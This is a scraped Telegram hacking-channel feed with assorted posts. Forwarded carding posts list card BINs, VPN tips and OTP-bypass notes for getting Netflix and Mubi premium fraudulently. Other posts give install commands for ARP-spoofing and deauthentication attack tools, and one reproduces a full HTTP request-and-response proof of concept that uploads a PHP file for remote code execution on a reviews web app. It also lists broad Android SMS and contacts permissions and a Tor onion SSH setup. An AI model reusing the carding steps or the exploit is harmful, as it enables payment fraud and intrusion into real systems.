UNDERCODE COMMUNITY
2.69K subscribers
1.23K photos
31 videos
2.65K files
80.8K links
๐Ÿฆ‘ Undercode Cyber World!
@UndercodeCommunity


1๏ธโƒฃ World first platform which Collect & Analyzes every New hacking method.
+ AI Pratice
@Undercode_Testing

2๏ธโƒฃ Cyber & Tech NEWS:
@Undercode_News

3๏ธโƒฃ CVE @Daily_CVE

โœจ Web & Services:
โ†’ Undercode.help
Download Telegram
Forwarded from TARJETAS PRO UNDER CARDING
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from TARJETAS PRO UNDER CARDING
๐Ÿฆ‘ x4 Bins For Mubi 30 Days Premium


548977xxxxxxxxxx
552230xxxxxxxxxx
539817xxxxxxxxxx
543896xxxxxxxxxx
https://mubi.com/t/web/global/gteb5hp

> how use bin : https://t.me/UnderCodeTesting/3768

> cc generators 2020 : https://t.me/UnderCodeTesting/3411
Forwarded from TARJETAS PRO UNDER CARDING
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from TARJETAS PRO UNDER CARDING
๐Ÿฆ‘ x2 Bins For Netflix Premium
Bin : 379217xxxxx100x (Live Cvv)

IP : USA ๐Ÿ‡บ๐Ÿ‡ธ
Zip Code : 10080

NOTE :
โ˜‘๏ธ USE GOOD VPN
โ˜‘๏ธ OTP BYPASSING THROUGH GODADDY SMARTLINE

> BIN Netflix

Bin : 413100xxxxxxxxxx

CVV : RND
Date : RND
IP : Philippines ๐Ÿ‡ต๐Ÿ‡ญ

OTP : use go daddy bin for numbers

> how use bin : https://t.me/UnderCodeTesting/3768

> cc generators 2020 : https://t.me/UnderCodeTesting/3411
Forwarded from TARJETAS PRO UNDER CARDING
# SUPPORT & SHARE FOR MORE
T.me/UndercodeTesting
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘ A Common User Passwords generator script that looks like the tool Eliot used it in Mr.Robot Series Episode 01 :
fb.com/undercodeTesting

1)git clone https://github.com/D4Vinci/elpscrk.git

2) cd elpscrk

3) python elpscrk.py


โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
This media is not supported in your browser
VIEW IN TELEGRAM
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘ An advanced network scan and attack script based on GUI. 2nd version of no-GUI netattack new
instagram.com/undercodeTesting

๐Ÿฆ‘FEATURES :

> SCANNING
Scan your network for active hosts, their operating system, open ports and way more.
Scan for Access-Points and figure out encryption type, WPS and other useful data.

> SPOOFING/SNIFFING
Simple ARP Spoofing
DNS Sniffing by ARP Spoofing the target and listening to DNS-Queries

> KICKING
Kicking hosts off your internet using ARP-Spoof attack

> DEAUTHING
Send deauthentication packets to Access Points in your area (DoS)
Deauth-All, basically does the same but it scans for networks and attacks them periodically

๐Ÿฆ‘ ๐•€โ„•๐•Š๐•‹๐”ธ๐•ƒ๐•ƒ๐•€๐•Š๐”ธ๐•‹๐•€๐•†โ„• & โ„๐•Œโ„• :

1) git clone https://github.com/chrizator/netattack2.git

2) cd netattack2

3) python netattack2.py

โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
This media is not supported in your browser
VIEW IN TELEGRAM
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘2020 collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more
pinterest.com/Undercode_Testing

๐Ÿฆ‘ ๐•€โ„•๐•Š๐•‹๐”ธ๐•ƒ๐•ƒ๐•€๐•Š๐”ธ๐•‹๐•€๐•†โ„• & โ„๐•Œโ„• :

> Zip

wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip

> Git (Small)

git clone --depth 1 https://github.com/danielmiessler/SecLists.git
Git (Complete)

git clone https://github.com/danielmiessler/SecLists.git

> Kali Linux (Tool Page)

apt -y install seclists


๐Ÿฆ‘ enjoy it

โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
This media is not supported in your browser
VIEW IN TELEGRAM
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘VERIFIED THE Facb bug - 2019 VERIFIED BY UNDERCODE
t.me/UndercodeTesting
# Exploit Title: Facebook And Google Reviews System For Businesses 1.1 - Remote Code Execution
# Dork: N/A
# Vendor Homepage: https://codecanyon.net/item/facebook-and-google-reviews-system-for-businesses/22793559
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/reviews/campaign_add.php?id=[SQL]
#

POST /[PATH]/reviews/action.php?action=custom_reviews HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 922
Referer: http://localhost/[PATH]/reviews/custom_reviews_add.php
Cookie: PHPSESSID=t7hinqk30gq4ies69nno1lj2b0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------4704926813981: undefined
Content-Disposition: form-data; name="photo"; filename="phpinfo.php"
<?php
phpinfo();
?>
-----------------------------4704926813981
Content-Disposition: form-data; name="hidden_photo"
-----------------------------4704926813981
Content-Disposition: form-data; name="name"
Efe
-----------------------------4704926813981
Content-Disposition: form-data; name="rating"
4.5
-----------------------------4704926813981
Content-Disposition: form-data; name="review"
Efe
-----------------------------4704926813981
Content-Disposition: form-data; name="date"
12/14/2018
-----------------------------4704926813981
Content-Disposition: form-data; name="id"
-----------------------------4704926813981
Content-Disposition: form-data; name="submit"
submit
-----------------------------4704926813981--
HTTP/1.1 302 Found
Date: Fri, 14 Dec 2018 18:17:48 GMT
Server: Apache
X-Powered-By: PHP/7.0.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: custom_reviews.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

GET /[PATH]/reviews/uploads/264082phpinfo.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/reviews/custom_reviews.php
Cookie: PHPSESSID=t7hinqk30gq4ies69nno1lj2b0
DNT: 1
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 14 Dec 2018 18:17:49 GMT
Server: Apache
X-Powered-By: PHP/7.0.33
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

@UnDERCODETesting
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘ BEST SITES FOR SHARING CODE & TEXT LIKE PAST BIN :

> https://controlc.com/

> https://hastebin.com/

> https://justpaste.me/

> https://privatebin.net/

@UndercodeTesting
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
This media is not supported in your browser
VIEW IN TELEGRAM
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘ Android Android program development permission settings by undercode :
instagram.com/uNDERCODETESTING

๐Ÿฆ‘ Add limit setting in AndroidManifest.xml file :

<!-- ่ฏป่”็ณปไบบๆƒ้™ -->
<uses-permission android:name="android.permission.READ_CONTACTS">
<!-- ๅ†™่”็ณปไบบๆƒ้™ -->
<uses-permission android:name="android.permission.WRITE_CONTACTS">
<!-- ไธŠ็ฝ‘ -->
<uses-permission android:name="android.permission.INTERNET">
<!-- ๆ‹จๅทๆƒ้™ -->
<uses-permission android:name="android.permission.CALL_PHONE"/>
<!-- ่ฏป้€š่ฏ่ฎฐๅฝ• -->
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<!-- ๅฝ•้Ÿณ -->
<uses-permission android:name="android.permission.RECORD_AUDIO">
<!-- ๅ‘็Ÿญไฟก -->
<uses-permission android:name="android.permission.SEND_SMS">
<!-- ่ฏป็Ÿญไฟก -->
<uses-permission android:name="android.permission.READ_SMS">
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.PERMISSION_NAME"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"></uses-permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>
๐Ÿฆ‘
<!-- ่ฏป่”็ณปไบบๆƒ้™ -->
<uses-permission android:name="android.permission.READ_CONTACTS">
<!-- ๅ†™่”็ณปไบบๆƒ้™ -->
<uses-permission android:name="android.permission.WRITE_CONTACTS">
<!-- ไธŠ็ฝ‘ -->
<uses-permission android:name="android.permission.INTERNET">
<!-- ๆ‹จๅทๆƒ้™ -->
<uses-permission android:name="android.permission.CALL_PHONE"/>
<!-- ่ฏป้€š่ฏ่ฎฐๅฝ• -->
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<!-- ๅฝ•้Ÿณ -->
<uses-permission android:name="android.permission.RECORD_AUDIO">
<!-- ๅ‘็Ÿญไฟก -->
<uses-permission android:name="android.permission.SEND_SMS">
<!-- ่ฏป็Ÿญไฟก -->
<uses-permission android:name="android.permission.READ_SMS">
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.PERMISSION_NAME"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"></uses-permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>

@UndercodeTesting
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘Navicat imports TXT to the database
t.me/UndercodeTesting



1) Open the first line of txt and write the column name, otherwise there is no column, such as username password

2) Select the database-table, right-click and select the import wizard

3) select the TXT format, click next

4) Select your TXT file path

5) select Once you have separated the field separators of your TXT, if it is tab separated, choose other, and then press tab in Notepad, copy the string into it, click next.

6) Select the database, click next

7) You can see Go to the corresponding username and password columns, which means OK

8) Select the import mode, click Next, and then click Start to start the guide.


โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
This media is not supported in your browser
VIEW IN TELEGRAM
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘Bypassing NAT-TERMUX ANDROID ANONYMOUSLY CONNECT :



It is possible to access your device over the Internet even if you are behind NAT device (e.g. Wi-Fi router or on mobile network). There are some ways to achieve this, but will require installing additional software and a bit of configuration.

๐Ÿฆ‘ Tor
Accessing device via Tor is the most secure and effective method - offers strong end-to-end encryption (onion services don't use 'exit' node), virtual ports (e.g. 80 port without root), your service won't be visible on plain Internet.

However, this method requires setting up a Tor Onion Service.

1) Installing needed packages
The main package is tor. Install it by running this command:

> pkg install tor
You may want to install a torsocks for accessing the Tor Network:

> pkg install torsocks

2) Setting up Onion Service
You will have to modify the default configuration file of tor ($PREFIX/etc/tor/torrc). Here is an example of configuring SSH Onion Service:

3) Enable TOR SOCKS proxy
SOCKSPort 127.0.0.1:9050

4) Hidden Service: SSH
HiddenServiceDir /data/data/com.termux/files/home/.tor/hidden_ssh
HiddenServicePort 22 127.0.0.1:8022

5) Then you need to make a directory where information about Hidden Service will be stored:

> mkdir -p ~/.tor/hidden_ssh

6) Now you can execute in console tor. If start was successfull, you can get your onion service hostname:

cat ~/.tor/hidden_ssh/hostname
Output should be like this: g3yv3tvqrbow7koz.onion

๐Ÿฆ‘ Accessing your service
First of all make sure that on client device tor is running and you have all necessary software for accessing Tor Network (in this case package torsocks).

1) To access the onion service created in previous step, run this:

torsocks ssh g3yv3tvqrbow7koz.onion
If everything is ok, the output should be like this:

2) The authenticity of host 'g3yv3tvqrbow7koz.onion (127.42.42.0)' can't be established.
ED25519 key fingerprint is SHA256:WGualHEq7SJdvVeXgy8a+btPQCd7uxTeXjlWdHHLwLc.

3) Are you sure you want to continue connecting (yes/no)?
Remember, tor should be running on both (client/server) sides, otherwise you will get connection errors. You can configure other servers (e.g. Nginx) in the same way as shown in above example for SSH.

@UndercodeTesting
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–